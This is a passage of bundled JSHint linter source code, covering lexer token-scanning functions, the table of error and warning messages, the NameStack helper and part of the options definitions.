((/^[0-9]$/).test(this.peek(1))) { return null; } if (this.peek(1) === "." && this.peek(2) === ".") { return { type: Token.Punctuator, value: "..." }; } case "(": case ")": case ";": case ",": case "[": case "]": case ":": case "~": case "?": return { type: Token.Punctuator, value: ch1 }; case "{": this.pushContext(Context.Block); return { type: Token.Punctuator, value: ch1 }; case "}": if (this.inContext(Context.Block)) { this.popContext(); } return { type: Token.Punctuator, value: ch1 }; case "#": return { type: Token.Punctuator, value: ch1 }; case "": return null; } ch2 = this.peek(1); ch3 = this.peek(2); ch4 = this.peek(3); if (ch1 === ">" && ch2 === ">" && ch3 === ">" && ch4 === "=") { return { type: Token.Punctuator, value: ">>>=" }; } if (ch1 === "=" && ch2 === "=" && ch3 === "=") { return { type: Token.Punctuator, value: "===" }; } if (ch1 === "!" && ch2 === "=" && ch3 === "=") { return { type: Token.Punctuator, value: "!==" }; } if (ch1 === ">" && ch2 === ">" && ch3 === ">") { return { type: Token.Punctuator, value: ">>>" }; } if (ch1 === "<" && ch2 === "<" && ch3 === "=") { return { type: Token.Punctuator, value: "<<=" }; } if (ch1 === ">" && ch2 === ">" && ch3 === "=") { return { type: Token.Punctuator, value: ">>=" }; } if (ch1 === "=" && ch2 === ">") { return { type: Token.Punctuator, value: ch1 + ch2 }; } if (ch1 === ch2 && ("+-<>&|".indexOf(ch1) >= 0)) { return { type: Token.Punctuator, value: ch1 + ch2 }; } if ("<>=!+-*%&|^".indexOf(ch1) >= 0) { if (ch2 === "=") { return { type: Token.Punctuator, value: ch1 + ch2 }; } return { type: Token.Punctuator, value: ch1 }; } if (ch1 === "/") { if (ch2 === "=") { return { type: Token.Punctuator, value: "/=" }; } return { type: Token.Punctuator, value: "/" }; } return null; }, scanComments: function() { var ch1 = this.peek(); var ch2 = this.peek(1); var rest = this.input.substr(2); var startLine = this.line; var startChar = this.char; var self = this; function commentToken(label, body, opt) { var special = ["jshint", "jslint", "members", "member", "globals", "global", "exported"]; var isSpecial = false; var value = label + body; var commentType = "plain"; opt = opt || {}; if (opt.isMultiline) { value += "*/"; } body = body.replace(/\n/g, " "); if (label === "/*" && reg.fallsThrough.test(body)) { isSpecial = true; commentType = "falls through"; } special.forEach(function(str) { if (isSpecial) { return; } if (label === "//" && str !== "jshint") { return; } if (body.charAt(str.length) === " " && body.substr(0, str.length) === str) { isSpecial = true; label = label + str; body = body.substr(str.length); } if (!isSpecial && body.charAt(0) === " " && body.charAt(str.length + 1) === " " && body.substr(1, str.length) === str) { isSpecial = true; label = label + " " + str; body = body.substr(str.length + 1); } if (!isSpecial) { return; } switch (str) { case "member": commentType = "members"; break; case "global": commentType = "globals"; break; default: var options = body.split(":").map(function(v) { return v.replace(/^\s+/, "").replace(/\s+$/, ""); }); if (options.length === 2) { switch (options[0]) { case "ignore": switch (options[1]) { case "start": self.ignoringLinterErrors = true; isSpecial = false; break; case "end": self.ignoringLinterErrors = false; isSpecial = false; break; } } } commentType = str; } }); return { type: Token.Comment, commentType: commentType, value: value, body: body, isSpecial: isSpecial, isMultiline: opt.isMultiline || false, isMalformed: opt.isMalformed || false }; } if (ch1 === "*" && ch2 === "/") { this.trigger("error", { code: "E018", line: startLine, character: startChar }); this.skip(2); return null; } if (ch1 !== "/" || (ch2 !== "*" && ch2 !== "/")) { return null; } if (ch2 === "/") { this.skip(this.input.length); // Skip to the EOL. return commentToken("//", rest); } var body = ""; if (ch2 === "*") { this.inComment = true; this.skip(2); while (this.peek() !== "*" || this.peek(1) !== "/") { if (this.peek() === "") { // End of Line body += "\n"; if (!this.nextLine()) { this.trigger("error", { code: "E017", line: startLine, character: startChar }); this.inComment = false; return commentToken("/*", body, { isMultiline: true, isMalformed: true }); } } else { body += this.peek(); this.skip(); } } this.skip(2); this.inComment = false; return commentToken("/*", body, { isMultiline: true }); } }, scanKeyword: function() { var result = /^[a-zA-Z_$][a-zA-Z0-9_$]*/.exec(this.input); var keywords = [ "if", "in", "do", "var", "for", "new", "try", "let", "this", "else", "case", "void", "with", "enum", "while", "break", "catch", "throw", "const", "yield", "class", "super", "return", "typeof", "delete", "switch", "export", "import", "default", "finally", "extends", "function", "continue", "debugger", "instanceof" ]; if (result && keywords.indexOf(result[0]) >= 0) { return { type: Token.Keyword, value: result[0] }; } return null; }, scanIdentifier: function() { var id = ""; var index = 0; var type, char; function isNonAsciiIdentifierStart(code) { return code > 256; } function isNonAsciiIdentifierPart(code) { return code > 256; } function isHexDigit(str) { return (/^[0-9a-fA-F]$/).test(str); } var readUnicodeEscapeSequence = function() { index += 1; if (this.peek(index) !== "u") { return null; } var ch1 = this.peek(index + 1); var ch2 = this.peek(index + 2); var ch3 = this.peek(index + 3); var ch4 = this.peek(index + 4); var code; if (isHexDigit(ch1) && isHexDigit(ch2) && isHexDigit(ch3) && isHexDigit(ch4)) { code = parseInt(ch1 + ch2 + ch3 + ch4, 16); if (asciiIdentifierPartTable[code] || isNonAsciiIdentifierPart(code)) { index += 5; return "\\u" + ch1 + ch2 + ch3 + ch4; } return null; } return null; }.bind(this); var getIdentifierStart = function() { var chr = this.peek(index); var code = chr.charCodeAt(0); if (code === 92) { return readUnicodeEscapeSequence(); } if (code < 128) { if (asciiIdentifierStartTable[code]) { index += 1; return chr; } return null; } if (isNonAsciiIdentifierStart(code)) { index += 1; return chr; } return null; }.bind(this); var getIdentifierPart = function() { var chr = this.peek(index); var code = chr.charCodeAt(0); if (code === 92) { return readUnicodeEscapeSequence(); } if (code < 128) { if (asciiIdentifierPartTable[code]) { index += 1; return chr; } return null; } if (isNonAsciiIdentifierPart(code)) { index += 1; return chr; } return null; }.bind(this); function removeEscapeSequences(id) { return id.replace(/\\u([0-9a-fA-F]{4})/g, function(m0, codepoint) { return String.fromCharCode(parseInt(codepoint, 16)); }); } char = getIdentifierStart(); if (char === null) { return null; } id = char; for (;;) { char = getIdentifierPart(); if (char === null) { break; } id += char; } switch (id) { case "true": case "false": type = Token.BooleanLiteral; break; case "null": type = Token.NullLiteral; break; default: type = Token.Identifier; } return { type: type, value: removeEscapeSequences(id), text: id, tokenLength: id.length }; }, scanNumericLiteral: function() { var index = 0; var value = ""; var length = this.input.length; var char = this.peek(index); var bad; var isAllowedDigit = isDecimalDigit; var base = 10; var isLegacy = false; function isDecimalDigit(str) { return (/^[0-9]$/).test(str); } function isOctalDigit(str) { return (/^[0-7]$/).test(str); } function isBinaryDigit(str) { return (/^[01]$/).test(str); } function isHexDigit(str) { return (/^[0-9a-fA-F]$/).test(str); } function isIdentifierStart(ch) { return (ch === "$") || (ch === "_") || (ch === "\\") || (ch >= "a" && ch <= "z") || (ch >= "A" && ch <= "Z"); } if (char !== "." && !isDecimalDigit(char)) { return null; } if (char !== ".") { value = this.peek(index); index += 1; char = this.peek(index); if (value === "0") { if (char === "x" || char === "X") { isAllowedDigit = isHexDigit; base = 16; index += 1; value += char; } if (char === "o" || char === "O") { isAllowedDigit = isOctalDigit; base = 8; if (!state.inES6(true)) { this.trigger("warning", { code: "W119", line: this.line, character: this.char, data: [ "Octal integer literal", "6" ] }); } index += 1; value += char; } if (char === "b" || char === "B") { isAllowedDigit = isBinaryDigit; base = 2; if (!state.inES6(true)) { this.trigger("warning", { code: "W119", line: this.line, character: this.char, data: [ "Binary integer literal", "6" ] }); } index += 1; value += char; } if (isOctalDigit(char)) { isAllowedDigit = isOctalDigit; base = 8; isLegacy = true; bad = false; index += 1; value += char; } if (!isOctalDigit(char) && isDecimalDigit(char)) { index += 1; value += char; } } while (index < length) { char = this.peek(index); if (isLegacy && isDecimalDigit(char)) { bad = true; } else if (!isAllowedDigit(char)) { break; } value += char; index += 1; } if (isAllowedDigit !== isDecimalDigit) { if (!isLegacy && value.length <= 2) { // 0x return { type: Token.NumericLiteral, value: value, isMalformed: true }; } if (index < length) { char = this.peek(index); if (isIdentifierStart(char)) { return null; } } return { type: Token.NumericLiteral, value: value, base: base, isLegacy: isLegacy, isMalformed: false }; } } if (char === ".") { value += char; index += 1; while (index < length) { char = this.peek(index); if (!isDecimalDigit(char)) { break; } value += char; index += 1; } } if (char === "e" || char === "E") { value += char; index += 1; char = this.peek(index); if (char === "+" || char === "-") { value += this.peek(index); index += 1; } char = this.peek(index); if (isDecimalDigit(char)) { value += char; index += 1; while (index < length) { char = this.peek(index); if (!isDecimalDigit(char)) { break; } value += char; index += 1; } } else { return null; } } if (index < length) { char = this.peek(index); if (isIdentifierStart(char)) { return null; } } return { type: Token.NumericLiteral, value: value, base: base, isMalformed: !isFinite(value) }; }, scanEscapeSequence: function(checks) { var allowNewLine = false; var jump = 1; this.skip(); var char = this.peek(); switch (char) { case "'": this.triggerAsync("warning", { code: "W114", line: this.line, character: this.char, data: [ "\\'" ] }, checks, function() {return state.jsonMode; }); break; case "b": char = "\\b"; break; case "f": char = "\\f"; break; case "n": char = "\\n"; break; case "r": char = "\\r"; break; case "t": char = "\\t"; break; case "0": char = "\\0"; var n = parseInt(this.peek(1), 10); this.triggerAsync("warning", { code: "W115", line: this.line, character: this.char }, checks, function() { return n >= 0 && n <= 7 && state.isStrict(); }); break; case "u": var hexCode = this.input.substr(1, 4); var code = parseInt(hexCode, 16); if (isNaN(code)) { this.trigger("warning", { code: "W052", line: this.line, character: this.char, data: [ "u" + hexCode ] }); } char = String.fromCharCode(code); jump = 5; break; case "v": this.triggerAsync("warning", { code: "W114", line: this.line, character: this.char, data: [ "\\v" ] }, checks, function() { return state.jsonMode; }); char = "\v"; break; case "x": var x = parseInt(this.input.substr(1, 2), 16); this.triggerAsync("warning", { code: "W114", line: this.line, character: this.char, data: [ "\\x-" ] }, checks, function() { return state.jsonMode; }); char = String.fromCharCode(x); jump = 3; break; case "\\": char = "\\\\"; break; case "\"": char = "\\\""; break; case "/": break; case "": allowNewLine = true; char = ""; break; } return { char: char, jump: jump, allowNewLine: allowNewLine }; }, scanTemplateLiteral: function(checks) { var tokenType; var value = ""; var ch; var startLine = this.line; var startChar = this.char; var depth = this.templateStarts.length; if (!state.inES6(true)) { return null; } else if (this.peek() === "`") { tokenType = Token.TemplateHead; this.templateStarts.push({ line: this.line, char: this.char }); depth = this.templateStarts.length; this.skip(1); this.pushContext(Context.Template); } else if (this.inContext(Context.Template) && this.peek() === "}") { tokenType = Token.TemplateMiddle; } else { return null; } while (this.peek() !== "`") { while ((ch = this.peek()) === "") { value += "\n"; if (!this.nextLine()) { var startPos = this.templateStarts.pop(); this.trigger("error", { code: "E052", line: startPos.line, character: startPos.char }); return { type: tokenType, value: value, startLine: startLine, startChar: startChar, isUnclosed: true, depth: depth, context: this.popContext() }; } } if (ch === '$' && this.peek(1) === '{') { value += '${'; this.skip(2); return { type: tokenType, value: value, startLine: startLine, startChar: startChar, isUnclosed: false, depth: depth, context: this.currentContext() }; } else if (ch === '\\') { var escape = this.scanEscapeSequence(checks); value += escape.char; this.skip(escape.jump); } else if (ch !== '`') { value += ch; this.skip(1); } } tokenType = tokenType === Token.TemplateHead ? Token.NoSubstTemplate : Token.TemplateTail; this.skip(1); this.templateStarts.pop(); return { type: tokenType, value: value, startLine: startLine, startChar: startChar, isUnclosed: false, depth: depth, context: this.popContext() }; }, scanStringLiteral: function(checks) { var quote = this.peek(); if (quote !== "\"" && quote !== "'") { return null; } this.triggerAsync("warning", { code: "W108", line: this.line, character: this.char // +1? }, checks, function() { return state.jsonMode && quote !== "\""; }); var value = ""; var startLine = this.line; var startChar = this.char; var allowNewLine = false; this.skip(); while (this.peek() !== quote) { if (this.peek() === "") { // End Of Line if (!allowNewLine) { this.trigger("warning", { code: "W112", line: this.line, character: this.char }); } else { allowNewLine = false; this.triggerAsync("warning", { code: "W043", line: this.line, character: this.char }, checks, function() { return !state.option.multistr; }); this.triggerAsync("warning", { code: "W042", line: this.line, character: this.char }, checks, function() { return state.jsonMode && state.option.multistr; }); } if (!this.nextLine()) { this.trigger("error", { code: "E029", line: startLine, character: startChar }); return { type: Token.StringLiteral, value: value, startLine: startLine, startChar: startChar, isUnclosed: true, quote: quote }; } } else { // Any character other than End Of Line allowNewLine = false; var char = this.peek(); var jump = 1; // A length of a jump, after we're done if (char < " ") { this.trigger("warning", { code: "W113", line: this.line, character: this.char, data: [ "" ] }); } if (char === "\\") { var parsed = this.scanEscapeSequence(checks); char = parsed.char; jump = parsed.jump; allowNewLine = parsed.allowNewLine; } value += char; this.skip(jump); } } this.skip(); return { type: Token.StringLiteral, value: value, startLine: startLine, startChar: startChar, isUnclosed: false, quote: quote }; }, scanRegExp: function() { var index = 0; var length = this.input.length; var char = this.peek(); var value = char; var body = ""; var flags = []; var malformed = false; var isCharSet = false; var terminated; var scanUnexpectedChars = function() { if (char < " ") { malformed = true; this.trigger("warning", { code: "W048", line: this.line, character: this.char }); } if (char === "<") { malformed = true; this.trigger("warning", { code: "W049", line: this.line, character: this.char, data: [ char ] }); } }.bind(this); if (!this.prereg || char !== "/") { return null; } index += 1; terminated = false; while (index < length) { char = this.peek(index); value += char; body += char; if (isCharSet) { if (char === "]") { if (this.peek(index - 1) !== "\\" || this.peek(index - 2) === "\\") { isCharSet = false; } } if (char === "\\") { index += 1; char = this.peek(index); body += char; value += char; scanUnexpectedChars(); } index += 1; continue; } if (char === "\\") { index += 1; char = this.peek(index); body += char; value += char; scanUnexpectedChars(); if (char === "/") { index += 1; continue; } if (char === "[") { index += 1; continue; } } if (char === "[") { isCharSet = true; index += 1; continue; } if (char === "/") { body = body.substr(0, body.length - 1); terminated = true; index += 1; break; } index += 1; } if (!terminated) { this.trigger("error", { code: "E015", line: this.line, character: this.from }); return void this.trigger("fatal", { line: this.line, from: this.from }); } while (index < length) { char = this.peek(index); if (!/[gim]/.test(char)) { break; } flags.push(char); value += char; index += 1; } try { new RegExp(body, flags.join("")); } catch (err) { malformed = true; this.trigger("error", { code: "E016", line: this.line, character: this.char, data: [ err.message ] // Platform dependent! }); } return { type: Token.RegExp, value: value, flags: flags, isMalformed: malformed }; }, scanNonBreakingSpaces: function() { return state.option.nonbsp ? this.input.search(/(\u00A0)/) : -1; }, scanUnsafeChars: function() { return this.input.search(reg.unsafeChars); }, next: function(checks) { this.from = this.char; var start; if (/\s/.test(this.peek())) { start = this.char; while (/\s/.test(this.peek())) { this.from += 1; this.skip(); } } var match = this.scanComments() || this.scanStringLiteral(checks) || this.scanTemplateLiteral(checks); if (match) { return match; } match = this.scanRegExp() || this.scanPunctuator() || this.scanKeyword() || this.scanIdentifier() || this.scanNumericLiteral(); if (match) { this.skip(match.tokenLength || match.value.length); return match; } return null; }, nextLine: function() { var char; if (this.line >= this.getLines().length) { return false; } this.input = this.getLines()[this.line]; this.line += 1; this.char = 1; this.from = 1; var inputTrimmed = this.input.trim(); var startsWith = function() { return _.some(arguments, function(prefix) { return inputTrimmed.indexOf(prefix) === 0; }); }; var endsWith = function() { return _.some(arguments, function(suffix) { return inputTrimmed.indexOf(suffix, inputTrimmed.length - suffix.length) !== -1; }); }; if (this.ignoringLinterErrors === true) { if (!startsWith("/*", "//") && !(this.inComment && endsWith("*/"))) { this.input = ""; } } char = this.scanNonBreakingSpaces(); if (char >= 0) { this.trigger("warning", { code: "W125", line: this.line, character: char + 1 }); } this.input = this.input.replace(/\t/g, state.tab); char = this.scanUnsafeChars(); if (char >= 0) { this.trigger("warning", { code: "W100", line: this.line, character: char }); } if (!this.ignoringLinterErrors && state.option.maxlen && state.option.maxlen < this.input.length) { var inComment = this.inComment || startsWith.call(inputTrimmed, "//") || startsWith.call(inputTrimmed, "/*"); var shouldTriggerError = !inComment || !reg.maxlenException.test(inputTrimmed); if (shouldTriggerError) { this.trigger("warning", { code: "W101", line: this.line, character: this.input.length }); } } return true; }, start: function() { this.nextLine(); }, token: function() { var checks = asyncTrigger(); var token; function isReserved(token, isProperty) { if (!token.reserved) { return false; } var meta = token.meta; if (meta && meta.isFutureReservedWord && state.inES5()) { if (!meta.es5) { return false; } if (meta.strictOnly) { if (!state.option.strict && !state.isStrict()) { return false; } } if (isProperty) { return false; } } return true; } var create = function(type, value, isProperty, token) { var obj; if (type !== "(endline)" && type !== "(end)") { this.prereg = false; } if (type === "(punctuator)") { switch (value) { case ".": case ")": case "~": case "#": case "]": case "++": case "--": this.prereg = false; break; default: this.prereg = true; } obj = Object.create(state.syntax[value] || state.syntax["(error)"]); } if (type === "(identifier)") { if (value === "return" || value === "case" || value === "typeof") { this.prereg = true; } if (_.has(state.syntax, value)) { obj = Object.create(state.syntax[value] || state.syntax["(error)"]); if (!isReserved(obj, isProperty && type === "(identifier)")) { obj = null; } } } if (!obj) { obj = Object.create(state.syntax[type]); } obj.identifier = (type === "(identifier)"); obj.type = obj.type || type; obj.value = value; obj.line = this.line; obj.character = this.char; obj.from = this.from; if (obj.identifier && token) obj.raw_text = token.text || token.value; if (token && token.startLine && token.startLine !== this.line) { obj.startLine = token.startLine; } if (token && token.context) { obj.context = token.context; } if (token && token.depth) { obj.depth = token.depth; } if (token && token.isUnclosed) { obj.isUnclosed = token.isUnclosed; } if (isProperty && obj.identifier) { obj.isProperty = isProperty; } obj.check = checks.check; return obj; }.bind(this); for (;;) { if (!this.input.length) { if (this.nextLine()) { return create("(endline)", ""); } if (this.exhausted) { return null; } this.exhausted = true; return create("(end)", ""); } token = this.next(checks); if (!token) { if (this.input.length) { this.trigger("error", { code: "E024", line: this.line, character: this.char, data: [ this.peek() ] }); this.input = ""; } continue; } switch (token.type) { case Token.StringLiteral: this.triggerAsync("String", { line: this.line, char: this.char, from: this.from, startLine: token.startLine, startChar: token.startChar, value: token.value, quote: token.quote }, checks, function() { return true; }); return create("(string)", token.value, null, token); case Token.TemplateHead: this.trigger("TemplateHead", { line: this.line, char: this.char, from: this.from, startLine: token.startLine, startChar: token.startChar, value: token.value }); return create("(template)", token.value, null, token); case Token.TemplateMiddle: this.trigger("TemplateMiddle", { line: this.line, char: this.char, from: this.from, startLine: token.startLine, startChar: token.startChar, value: token.value }); return create("(template middle)", token.value, null, token); case Token.TemplateTail: this.trigger("TemplateTail", { line: this.line, char: this.char, from: this.from, startLine: token.startLine, startChar: token.startChar, value: token.value }); return create("(template tail)", token.value, null, token); case Token.NoSubstTemplate: this.trigger("NoSubstTemplate", { line: this.line, char: this.char, from: this.from, startLine: token.startLine, startChar: token.startChar, value: token.value }); return create("(no subst template)", token.value, null, token); case Token.Identifier: this.triggerAsync("Identifier", { line: this.line, char: this.char, from: this.form, name: token.value, raw_name: token.text, isProperty: state.tokens.curr.id === "." }, checks, function() { return true; }); case Token.Keyword: case Token.NullLiteral: case Token.BooleanLiteral: return create("(identifier)", token.value, state.tokens.curr.id === ".", token); case Token.NumericLiteral: if (token.isMalformed) { this.trigger("warning", { code: "W045", line: this.line, character: this.char, data: [ token.value ] }); } this.triggerAsync("warning", { code: "W114", line: this.line, character: this.char, data: [ "0x-" ] }, checks, function() { return token.base === 16 && state.jsonMode; }); this.triggerAsync("warning", { code: "W115", line: this.line, character: this.char }, checks, function() { return state.isStrict() && token.base === 8 && token.isLegacy; }); this.trigger("Number", { line: this.line, char: this.char, from: this.from, value: token.value, base: token.base, isMalformed: token.malformed }); return create("(number)", token.value); case Token.RegExp: return create("(regexp)", token.value); case Token.Comment: state.tokens.curr.comment = true; if (token.isSpecial) { return { id: '(comment)', value: token.value, body: token.body, type: token.commentType, isSpecial: token.isSpecial, line: this.line, character: this.char, from: this.from }; } break; case "": break; default: return create("(punctuator)", token.value); } } } }; exports.Lexer = Lexer; exports.Context = Context; },{"../data/ascii-identifier-data.js":"/node_modules/jshint/data/ascii-identifier-data.js","../lodash":"/node_modules/jshint/lodash.js","./reg.js":"/node_modules/jshint/src/reg.js","./state.js":"/node_modules/jshint/src/state.js","events":"/node_modules/browserify/node_modules/events/events.js"}],"/node_modules/jshint/src/messages.js":[function(_dereq_,module,exports){ "use strict"; var _ = _dereq_("../lodash"); var errors = { E001: "Bad option: '{a}'.", E002: "Bad option value.", E003: "Expected a JSON value.", E004: "Input is neither a string nor an array of strings.", E005: "Input is empty.", E006: "Unexpected early end of program.", E007: "Missing \"use strict\" statement.", E008: "Strict violation.", E009: "Option 'validthis' can't be used in a global scope.", E010: "'with' is not allowed in strict mode.", E011: "'{a}' has already been declared.", E012: "const '{a}' is initialized to 'undefined'.", E013: "Attempting to override '{a}' which is a constant.", E014: "A regular expression literal can be confused with '/='.", E015: "Unclosed regular expression.", E016: "Invalid regular expression.", E017: "Unclosed comment.", E018: "Unbegun comment.", E019: "Unmatched '{a}'.", E020: "Expected '{a}' to match '{b}' from line {c} and instead saw '{d}'.", E021: "Expected '{a}' and instead saw '{b}'.", E022: "Line breaking error '{a}'.", E023: "Missing '{a}'.", E024: "Unexpected '{a}'.", E025: "Missing ':' on a case clause.", E026: "Missing '}' to match '{' from line {a}.", E027: "Missing ']' to match '[' from line {a}.", E028: "Illegal comma.", E029: "Unclosed string.", E030: "Expected an identifier and instead saw '{a}'.", E031: "Bad assignment.", // FIXME: Rephrase E032: "Expected a small integer or 'false' and instead saw '{a}'.", E033: "Expected an operator and instead saw '{a}'.", E034: "get/set are ES5 features.", E035: "Missing property name.", E036: "Expected to see a statement and instead saw a block.", E037: null, E038: null, E039: "Function declarations are not invocable. Wrap the whole function invocation in parens.", E040: "Each value should have its own case label.", E041: "Unrecoverable syntax error.", E042: "Stopping.", E043: "Too many errors.", E044: null, E045: "Invalid for each loop.", E046: "A yield statement shall be within a generator function (with syntax: `function*`)", E047: null, E048: "{a} declaration not directly within block.", E049: "A {a} cannot be named '{b}'.", E050: "Mozilla requires the yield expression to be parenthesized here.", E051: null, E052: "Unclosed template literal.", E053: "Export declaration must be in global scope.", E054: "Class properties must be methods. Expected '(' but instead saw '{a}'.", E055: "The '{a}' option cannot be set after any executable code.", E056: "'{a}' was used before it was declared, which is illegal for '{b}' variables.", E057: "Invalid meta property: '{a}.{b}'.", E058: "Missing semicolon." }; var warnings = { W001: "'hasOwnProperty' is a really bad name.", W002: "Value of '{a}' may be overwritten in IE 8 and earlier.", W003: "'{a}' was used before it was defined.", W004: "'{a}' is already defined.", W005: "A dot following a number can be confused with a decimal point.", W006: "Confusing minuses.", W007: "Confusing plusses.", W008: "A leading decimal point can be confused with a dot: '{a}'.", W009: "The array literal notation [] is preferable.", W010: "The object literal notation {} is preferable.", W011: null, W012: null, W013: null, W014: "Bad line breaking before '{a}'.", W015: null, W016: "Unexpected use of '{a}'.", W017: "Bad operand.", W018: "Confusing use of '{a}'.", W019: "Use the isNaN function to compare with NaN.", W020: "Read only.", W021: "Reassignment of '{a}', which is is a {b}. " + "Use 'var' or 'let' to declare bindings that may change.", W022: "Do not assign to the exception parameter.", W023: "Expected an identifier in an assignment and instead saw a function invocation.", W024: "Expected an identifier and instead saw '{a}' (a reserved word).", W025: "Missing name in function declaration.", W026: "Inner functions should be listed at the top of the outer function.", W027: "Unreachable '{a}' after '{b}'.", W028: "Label '{a}' on {b} statement.", W030: "Expected an assignment or function call and instead saw an expression.", W031: "Do not use 'new' for side effects.", W032: "Unnecessary semicolon.", W033: "Missing semicolon.", W034: "Unnecessary directive \"{a}\".", W035: "Empty block.", W036: "Unexpected /*member '{a}'.", W037: "'{a}' is a statement label.", W038: "'{a}' used out of scope.", W039: "'{a}' is not allowed.", W040: "Possible strict violation.", W041: "Use '{a}' to compare with '{b}'.", W042: "Avoid EOL escaping.", W043: "Bad escaping of EOL. Use option multistr if needed.", W044: "Bad or unnecessary escaping.", /* TODO(caitp): remove W044 */ W045: "Bad number '{a}'.", W046: "Don't use extra leading zeros '{a}'.", W047: "A trailing decimal point can be confused with a dot: '{a}'.", W048: "Unexpected control character in regular expression.", W049: "Unexpected escaped character '{a}' in regular expression.", W050: "JavaScript URL.", W051: "Variables should not be deleted.", W052: "Unexpected '{a}'.", W053: "Do not use {a} as a constructor.", W054: "The Function constructor is a form of eval.", W055: "A constructor name should start with an uppercase letter.", W056: "Bad constructor.", W057: "Weird construction. Is 'new' necessary?", W058: "Missing '()' invoking a constructor.", W059: "Avoid arguments.{a}.", W060: "document.write can be a form of eval.", W061: "eval can be harmful.", W062: "Wrap an immediate function invocation in parens " + "to assist the reader in understanding that the expression " + "is the result of a function, and not the function itself.", W063: "Math is not a function.", W064: "Missing 'new' prefix when invoking a constructor.", W065: "Missing radix parameter.", W066: "Implied eval. Consider passing a function instead of a string.", W067: "Bad invocation.", W068: "Wrapping non-IIFE function literals in parens is unnecessary.", W069: "['{a}'] is better written in dot notation.", W070: "Extra comma. (it breaks older versions of IE)", W071: "This function has too many statements. ({a})", W072: "This function has too many parameters. ({a})", W073: "Blocks are nested too deeply. ({a})", W074: "This function's cyclomatic complexity is too high. ({a})", W075: "Duplicate {a} '{b}'.", W076: "Unexpected parameter '{a}' in get {b} function.", W077: "Expected a single parameter in set {a} function.", W078: "Setter is defined without getter.", W079: "Redefinition of '{a}'.", W080: "It's not necessary to initialize '{a}' to 'undefined'.", W081: null, W082: "Function declarations should not be placed in blocks. " + "Use a function expression or move the statement to the top of " + "the outer function.", W083: "Don't make functions within a loop.", W084: "Assignment in conditional expression", W085: "Don't use 'with'.", W086: "Expected a 'break' statement before '{a}'.", W087: "Forgotten 'debugger' statement?", W088: "Creating global 'for' variable. Should be 'for (var {a} ...'.", W089: "The body of a for in should be wrapped in an if statement to filter " + "unwanted properties from the prototype.", W090: "'{a}' is not a statement label.", W091: null, W093: "Did you mean to return a conditional instead of an assignment?", W094: "Unexpected comma.", W095: "Expected a string and instead saw {a}.", W096: "The '{a}' key may produce unexpected results.", W097: "Use the function form of \"use strict\".", W098: "'{a}' is defined but never used.", W099: null, W100: "This character may get silently deleted by one or more browsers.", W101: "Line is too long.", W102: null, W103: "The '{a}' property is deprecated.", W104: "'{a}' is available in ES{b} (use 'esversion: {b}') or Mozilla JS extensions (use moz).", W105: "Unexpected {a} in '{b}'.", W106: "Identifier '{a}' is not in camel case.", W107: "Script URL.", W108: "Strings must use doublequote.", W109: "Strings must use singlequote.", W110: "Mixed double and single quotes.", W112: "Unclosed string.", W113: "Control character in string: {a}.", W114: "Avoid {a}.", W115: "Octal literals are not allowed in strict mode.", W116: "Expected '{a}' and instead saw '{b}'.", W117: "'{a}' is not defined.", W118: "'{a}' is only available in Mozilla JavaScript extensions (use moz option).", W119: "'{a}' is only available in ES{b} (use 'esversion: {b}').", W120: "You might be leaking a variable ({a}) here.", W121: "Extending prototype of native object: '{a}'.", W122: "Invalid typeof value '{a}'", W123: "'{a}' is already defined in outer scope.", W124: "A generator function shall contain a yield statement.", W125: "This line contains non-breaking spaces: http://jshint.com/doc/options/#nonbsp", W126: "Unnecessary grouping operator.", W127: "Unexpected use of a comma operator.", W128: "Empty array elements require elision=true.", W129: "'{a}' is defined in a future version of JavaScript. Use a " + "different variable name to avoid migration issues.", W130: "Invalid element after rest element.", W131: "Invalid parameter after rest parameter.", W132: "`var` declarations are forbidden. Use `let` or `const` instead.", W133: "Invalid for-{a} loop left-hand-side: {b}.", W134: "The '{a}' option is only available when linting ECMAScript {b} code.", W135: "{a} may not be supported by non-browser environments.", W136: "'{a}' must be in function scope.", W137: "Empty destructuring.", W138: "Regular parameters should not come after default parameters." }; var info = { I001: "Comma warnings can be turned off with 'laxcomma'.", I002: null, I003: "ES5 option is now set per default" }; exports.errors = {}; exports.warnings = {}; exports.info = {}; _.each(errors, function(desc, code) { exports.errors[code] = { code: code, desc: desc }; }); _.each(warnings, function(desc, code) { exports.warnings[code] = { code: code, desc: desc }; }); _.each(info, function(desc, code) { exports.info[code] = { code: code, desc: desc }; }); },{"../lodash":"/node_modules/jshint/lodash.js"}],"/node_modules/jshint/src/name-stack.js":[function(_dereq_,module,exports){ "use strict"; function NameStack() { this._stack = []; } Object.defineProperty(NameStack.prototype, "length", { get: function() { return this._stack.length; } }); NameStack.prototype.push = function() { this._stack.push(null); }; NameStack.prototype.pop = function() { this._stack.pop(); }; NameStack.prototype.set = function(token) { this._stack[this.length - 1] = token; }; NameStack.prototype.infer = function() { var nameToken = this._stack[this.length - 1]; var prefix = ""; var type; if (!nameToken || nameToken.type === "class") { nameToken = this._stack[this.length - 2]; } if (!nameToken) { return "(empty)"; } type = nameToken.type; if (type !== "(string)" && type !== "(number)" && type !== "(identifier)" && type !== "default") { return "(expression)"; } if (nameToken.accessorType) { prefix = nameToken.accessorType + " "; } return prefix + nameToken.value; }; module.exports = NameStack; },{}],"/node_modules/jshint/src/options.js":[function(_dereq_,module,exports){ "use strict"; exports.bool = { enforcing: { bitwise : true, freeze : true, camelcase : true, curly : true, eqeqeq : true, futurehostile: true, notypeof : true, es3 : true, es5 : true, forin : true, funcscope : true, immed : true, iterator : true, newcap : true, noarg : true, nocomma : true, noempty : true, nonbsp : true, nonew : true, undef : true, singleGroups: false, varstmt: false, enforceall : false }, relaxing: { asi : true, multistr : true, debug : true, boss : true, evil : true, globalstrict: true, plusplus : true, proto : true, scripturl : true, sub : true, supernew : true, laxbreak : true, laxcomma : true, validthis : true, withstmt : true, moz : true, noyield : true, eqnull : true, lastsemic : true, loopfunc : true, expr : true, esnext : true, elision : true, }, environments: { mootools : true, couch : true, jasmine : true, jquery : true, node : true, qunit : true, rhino : true, shelljs : true, prototypejs : true, yui : true, mocha : true, module : true, wsh : true, worker : true, nonstandard : true, browser : true, browserify : true, devel : true, dojo : true, typed : true, phantom : true }, obsolete: { onecase : true, // if one case switch statements should be allowed regexp : true, // if the . should not be allowed in regexp literals regexdash : true // if unescaped first/last dash (-) inside brackets } }; exports.val = { maxlen : false, indent : false, maxerr : false, predef : false, globals : false, quotmark : false, scope : false, maxstatements: false, maxdepth : false, maxparams : false, maxcomplexity: false, shadow : false, strict : true, unused : true, latedef : false, ignore : false, // start/end ignoring lines of code, bypassing the lexer ignoreDelimiters: false, // array of start/end delimiters used to ignore esversion: 5 }; 